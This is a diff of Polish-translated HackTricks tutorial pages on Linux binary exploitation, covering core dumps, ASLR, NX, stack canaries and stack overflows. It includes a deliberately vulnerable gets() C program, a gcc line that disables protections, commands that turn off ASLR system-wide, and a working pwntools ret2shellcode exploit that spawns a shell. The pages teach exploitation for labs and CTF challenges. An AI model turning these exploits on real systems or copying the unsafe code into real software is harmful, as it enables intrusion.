Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin

SUMMARY.md

@@ -693,14 +693,22 @@
 * [Common API used in Malware](reversing/common-api-used-in-malware.md)
 * [Word Macros](reversing/word-macros.md)
 * [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
+  * [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
+    * [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
+    * [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
+    * [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
+  * [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
+    * [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
+    * [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
+    * [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
   * [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
   * [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
-  * [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
   * [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
     * [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
   * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
   * [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
   * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
+  * [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
 * [Exploiting Tools](exploiting/tools/README.md)
   * [PwnTools](exploiting/tools/pwntools.md)
 * [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)

reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md

@@ -0,0 +1,39 @@
+# Wspólne zabezpieczenia binarne
+
+<details>
+
+<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+
+</details>
+
+## Włącz pliki Core
+
+**Pliki Core** to rodzaj plików generowanych przez system operacyjny, gdy proces ulega awarii. Te pliki przechwytują obraz pamięci zatrzymanego procesu w chwili jego zakończenia, w tym pamięć procesu, rejestry i stan licznika programu, między innymi szczegóły. Ten zrzut może być niezwykle wartościowy do debugowania i zrozumienia przyczyny awarii.
+
+### **Włączanie Generowania Plików Core Dump**
+
+Domyślnie wiele systemów ogranicza rozmiar plików core do 0 (tj. nie generuje plików core) w celu oszczędzania miejsca na dysku. Aby włączyć generowanie plików core, można użyć polecenia `ulimit` (w powłoce bash lub podobnych) lub skonfigurować ustawienia systemowe.
+
+* **Korzystanie z ulimit**: Polecenie `ulimit -c unlimited` pozwala bieżącej sesji powłoki tworzyć pliki core o nieograniczonej wielkości. Jest to przydatne podczas sesji debugowania, ale nie jest trwałe po ponownym uruchomieniu systemu lub nowych sesjach.
+```bash
+ulimit -c unlimited
+```
+* **Trwała konfiguracja**: Dla bardziej trwałego rozwiązania, możesz edytować plik `/etc/security/limits.conf`, aby dodać linię taką jak `* soft core unlimited`, która pozwala wszystkim użytkownikom generować pliki core o nieograniczonej wielkości bez konieczności ręcznego ustawiania ulimit w ich sesjach.
+```markdown
+* soft core unlimited
+```
+### **Analiza plików rdzenia za pomocą GDB**
+
+Aby przeanalizować plik rdzenia, można użyć narzędzi do debugowania, takich jak GDB (GNU Debugger). Zakładając, że masz wykonywalny plik, który wygenerował zrzut rdzenia, a plik rdzenia ma nazwę `core_file`, można rozpocząć analizę za pomocą:
+```bash
+gdb /path/to/executable /path/to/core_file
+```
+To polecenie wczytuje plik wykonywalny i plik rdzenia do GDB, pozwalając na zbadanie stanu programu w momencie awarii. Możesz użyć poleceń GDB do eksploracji stosu, sprawdzenia zmiennych i zrozumienia przyczyny awarii.

reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md

@@ -0,0 +1,88 @@
+# ASLR
+
+<details>
+
+<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## ASLR
+
+**Address Space Layout Randomization (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego rozmieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie utrudnia się przewidywanie lokalizacji konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
+
+### **ASLR Nie Tak Losowe**
+
+PaX dzieli przestrzeń adresową procesu na **3 grupy**:
+
+* **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.
+* **Pamięć** przydzielana przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwana `delta_mmap`.
+* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże faktycznie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> Skutkuje to w **524,288 możliwych rzeczywistych adresach stosu**.
+
+Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona entropia końcowa umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie.
+
+W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe.
+
+### **Sprawdzanie Stanu ASLR**
+
+Aby **sprawdzić** stan ASLR w systemie Linux, można odczytać wartość z pliku `/proc/sys/kernel/randomize_va_space`. Wartość przechowywana w tym pliku określa rodzaj zastosowanego ASLR:
+
+* **0**: Brak losowości. Wszystko jest statyczne.
+* **1**: Konserwatywna losowość. Biblioteki współdzielone, stos, mmap(), strona VDSO są losowo rozmieszczane.
+* **2**: Pełna losowość. Oprócz elementów losowo rozmieszczanych przez konserwatywną losowość, pamięć zarządzana przez `brk()` jest losowo rozmieszczana.
+
+Możesz sprawdzić stan ASLR za pomocą następującej komendy:
+```bash
+bashCopy codecat /proc/sys/kernel/randomize_va_space
+```
+### **Wyłączanie ASLR**
+
+Aby **wyłączyć** ASLR, ustaw wartość `/proc/sys/kernel/randomize_va_space` na **0**. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić:
+```bash
+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+```
+Możesz również wyłączyć ASLR dla wykonania za pomocą:
+```bash
+setarch `arch` -R ./bin args
+setarch `uname -m` -R ./bin args
+```
+### **Włączanie ASLR**
+
+Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:
+```bash
+echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
+```
+### **Trwałość po ponownym uruchomieniu**
+
+Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, należy edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię:
+```tsconfig
+kernel.randomize_va_space=2 # Enable ASLR
+# or
+kernel.randomize_va_space=0 # Disable ASLR
+```
+Po edycji `/etc/sysctl.conf` zastosuj zmiany za pomocą:
+```bash
+sudo sysctl -p
+```
+To zapewni, że Twoje ustawienia ASLR pozostaną po ponownym uruchomieniu.
+
+<details>
+
+<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
+
+</details>

reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md

@@ -0,0 +1,40 @@
+# Brak wykonania / NX
+
+<details>
+
+<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
+
+</details>
+
+## Podstawowe informacje
+
+Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w terminologii Intela, to funkcja bezpieczeństwa oparta na sprzęcie, zaprojektowana w celu **łagodzenia** skutków ataków **przepełnienia bufora**. Gdy jest zaimplementowany i włączony, rozróżnia obszary pamięci przeznaczone do **kodu wykonywalnego** od tych przeznaczonych dla **danych**, takich jak **stos** i **sterta**. Podstawowym pomysłem jest zapobieżenie atakującemu wykonaniu złośliwego kodu poprzez wykorzystanie podatności na przepełnienie bufora, umieszczając na przykład złośliwy kod na stosie i kierując przepływ wykonania do niego.
+
+## Bypassy
+
+* Możliwe jest użycie technik takich jak **ROP** do obejścia tej ochrony poprzez wykonanie fragmentów kodu wykonywalnego już obecnego w pliku binarnym.
+* **Ret2libc**
+* **Ret2printc**
+* **Ret2...**
+
+<details>
+
+<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
+
+</details>

reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md

@@ -0,0 +1,37 @@
+# Ochrona stosu
+
+<details>
+
+<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
+
+</details>
+
+## **StackGuard i StackShield**
+
+**StackGuard** wstawia specjalną wartość znana jako **kanarka** przed **EIP (Extended Instruction Pointer)**, konkretnie `0x000aff0d` (reprezentującą null, znak nowej linii, EOF, powrót karetki) w celu ochrony przed przepełnieniem bufora. Jednak funkcje takie jak `recv()`, `memcpy()`, `read()` i `bcopy()` pozostają podatne, a także nie chroni **EBP (Base Pointer)**.
+
+**StackShield** stosuje bardziej zaawansowane podejście niż StackGuard, utrzymując **Globalny Stos Powrotu**, który przechowuje wszystkie adresy powrotu (**EIP**). Ten układ zapewnia, że przepełnienie nie powoduje szkód, ponieważ umożliwia porównanie przechowywanych i rzeczywistych adresów powrotu w celu wykrycia wystąpienia przepełnienia. Dodatkowo, StackShield może sprawdzić adres powrotu względem wartości granicznej, aby wykryć, czy **EIP** wskazuje poza oczekiwaną przestrzeń danych. Jednak ta ochrona może być obejścia za pomocą technik takich jak Return-to-libc, ROP (Return-Oriented Programming) lub ret2ret, co wskazuje, że StackShield również nie chroni zmiennych lokalnych.
+
+## **Protector Stack Smash (ProPolice) `-fstack-protector`:**
+
+Ten mechanizm umieszcza **kanarkę** przed **EBP** i przestawia zmienne lokalne, aby umieścić bufory na wyższych adresach pamięci, zapobiegając nadpisywaniu innych zmiennych. Bezpiecznie kopiuje również argumenty przekazane na stosie powyżej zmiennych lokalnych i używa tych kopii jako argumentów. Jednak nie chroni tablic o mniej niż 8 elementach ani buforów w strukturze użytkownika.
+
+**Kanarka** to losowa liczba pochodząca z `/dev/urandom` lub domyślna wartość `0xff0a0000`. Jest przechowywana w **TLS (Thread Local Storage)**, co pozwala na współdzielone przestrzenie pamięci między wątkami, aby miały wątkowo specyficzne zmienne globalne lub statyczne. Te zmienne są początkowo kopiowane z procesu nadrzędnego, a procesy potomne mogą zmieniać swoje dane bez wpływu na proces nadrzędny lub rodzeństwo. Niemniej jednak, jeśli używane jest **`fork()` bez tworzenia nowej kanarki, wszystkie procesy (rodzic i dzieci) dzielą tę samą kanarkę**, co czyni ją podatną. Na architekturze **i386**, kanarka jest przechowywana pod adresem `gs:0x14`, a na **x86\_64** pod adresem `fs:0x28`.
+
+Ta lokalna ochrona identyfikuje funkcje z buforami podatnymi na ataki i wstrzykuje kod na początku tych funkcji, aby umieścić kanarkę, a na końcu weryfikuje jej integralność.
+
+Gdy serwer WWW używa `fork()`, umożliwia atak brute-force w celu odgadnięcia kanarki bajt po bajcie. Jednak używając `execve()` po `fork()` nadpisuje przestrzeń pamięci, unieważniając atak. `vfork()` pozwala procesowi potomnemu wykonywać się bez duplikacji, aż spróbuje zapisać, wtedy tworzony jest duplikat, oferując inny sposób tworzenia procesów i zarządzania pamięcią.
+
+## Ominięcia
+
+* **Ujawnienie kanarki** a następnie nadpisanie jej (np. przepełnienie bufora) własną wartością.
+* Jeśli kanarka jest klonowana w procesach potomnych, możliwe jest brutalne jej odgadnięcie po jednym bajcie.
+* Jeśli w binarnym istnieje jakaś interesująca luka wyciekowa, może być możliwe jej ujawnienie.

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md

@@ -0,0 +1,97 @@
+# Przepełnienie stosu
+
+<details>
+
+<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+
+## Co to jest przepełnienie stosu
+
+**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane spowodują **nadpisanie sąsiedniego obszaru pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia sterowania przepływem i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
+
+Głównym problemem tego nadpisania jest to, że wskaźniki **EIP** i **EBP** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać je i **kontrolować przepływ wykonania programu**.
+
+Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję na stos więcej bajtów niż jest na nią zaalokowane**, co pozwala na nadpisanie innych części stosu.\
+Niektóre powszechne funkcje podatne na to to: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
+
+Na przykład, następujące funkcje mogą być podatne na to:
+```c
+void vulnerable() {
+char buffer[128];
+printf("Enter some text: ");
+gets(buffer); // This is where the vulnerability lies
+printf("You entered: %s\n", buffer);
+}
+```
+### Znajdowanie przepełnień stosu
+
+Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z literami `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie `Segmentation Fault`, co wskazuje, że próbowano uzyskać dostęp do **adresu `0x41414141`**.
+
+Ponadto, po znalezieniu podatności na przepełnienie stosu, konieczne będzie znalezienie przesunięcia, aż będzie możliwe **nadpisanie wskaźnika EIP**, do tego zazwyczaj używany jest **ciąg De Bruijna**. Dla danego alfabetu o rozmiarze _k_ i podciągach o długości _n_, jest to **cykliczny ciąg, w którym każdy możliwy podciąg o długości _n_ pojawia się dokładnie raz** jako ciągły podciąg.
+
+W ten sposób, zamiast ręcznego określania, które przesunięcie nadpisuje EIP, można użyć jednego z tych ciągów jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które spowodowało nadpisanie.
+
+Można to zrobić za pomocą **pwntools**:
+```python
+from pwn import *
+
+# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
+pattern = cyclic(1000)
+
+# This is an example value that you'd have found in the EIP/IP register upon crash
+eip_value = p32(0x6161616c)
+offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
+print(f"The offset is: {offset}")
+```
+lub **GEF**:
+```bash
+#Patterns
+pattern create 200 #Generate length 200 pattern
+pattern search "avaaawaa" #Search for the offset of that substring
+pattern search $rsp #Search the offset given the content of $rsp
+```
+## Wykorzystywanie przepełnień stosu
+
+Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł nadpisać wartości innych zmiennych w stosie aż do osiągnięcia EBP i EIP (lub nawet więcej).\
+Najczęstszym sposobem nadużycia tego rodzaju podatności jest **modyfikacja wskaźnika EIP**, dzięki czemu po zakończeniu funkcji **przepływ sterowania zostanie przekierowany w miejsce, które użytkownik określił** w tym wskaźniku.
+
+Jednakże, w innych scenariuszach może wystarczyć **nadpisanie wartości niektórych zmiennych w stosie** do celów eksploatacji (jak w łatwych wyzwaniach CTF).
+
+### Ret2win
+
+W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W takich wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania EIP** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections/aslr.md) byłoby wyłączone), dzięki czemu po zakończeniu funkcji podatnej zostanie wywołana ukryta funkcja:
+
+{% content-ref url="ret2win.md" %}
+[ret2win.md](ret2win.md)
+{% endcontent-ref %}
+
+### Ret2Shellcode
+
+## Rodzaje zabezpieczeń
+
+{% content-ref url="../common-binary-protections/" %}
+[common-binary-protections](../common-binary-protections/)
+{% endcontent-ref %}
+
+<details>
+
+<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>

reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md

@@ -0,0 +1,93 @@
+# Ret2Shellcode
+
+<details>
+
+<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+
+</details>
+
+## Podstawowe informacje
+
+**Ret2shellcode** to technika używana w eksploatacji binarnej, gdzie atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowany opis procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
+
+### Przykład w języku C: Podatny Program
+
+Zacznijmy od prostego przykładu podatnego programu w języku C:
+```c
+#include <stdio.h>
+#include <string.h>
+
+void vulnerable_function() {
+char buffer[64];
+gets(buffer); // Unsafe function that does not check for buffer overflow
+}
+
+int main() {
+vulnerable_function();
+printf("Returned safely\n");
+return 0;
+}
+```
+Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji `gets()`.
+
+### Kompilacja
+
+Aby skompilować ten program wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), możesz użyć poniższej komendy:
+```sh
+gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
+```
+* `-fno-stack-protector`: Wyłącza ochronę stosu.
+* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.
+* `-no-pie`: Wyłącza wykonywalne pliki o pozycji niezależnej, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode.
+* `-m32`: Kompiluje program jako plik wykonywalny 32-bitowy, często używany ze względu na prostotę w tworzeniu exploitów.
+
+### Python Exploit using Pwntools
+
+Oto jak można napisać exploit w Pythonie, korzystając z **pwntools**, aby przeprowadzić atak **ret2shellcode**:
+```python
+from pwn import *
+
+# Set up the process and context
+binary_path = './vulnerable'
+p = process(binary_path)
+context.binary = binary_path
+context.arch = 'i386' # Specify the architecture
+
+# Generate the shellcode
+shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
+
+# Find the offset to EIP
+offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
+
+# Prepare the payload
+# The NOP slide helps to ensure that the execution flow hits the shellcode.
+nop_slide = asm('nop') * (offset - len(shellcode))
+payload = nop_slide + shellcode
+payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
+payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
+
+# Send the payload
+p.sendline(payload)
+p.interactive()
+```
+Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu shell**, a następnie nadpisuje **EIP** adresem wskazującym na slajd NOP, zapewniając wykonanie kodu shell.
+
+**Slajd NOP** (`asm('nop')`) jest używany do zwiększenia szansy na "przesunięcie" wykonania do naszego kodu shell bez względu na dokładny adres. Dostosuj argument `p32()` do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP.
+
+## Protections
+
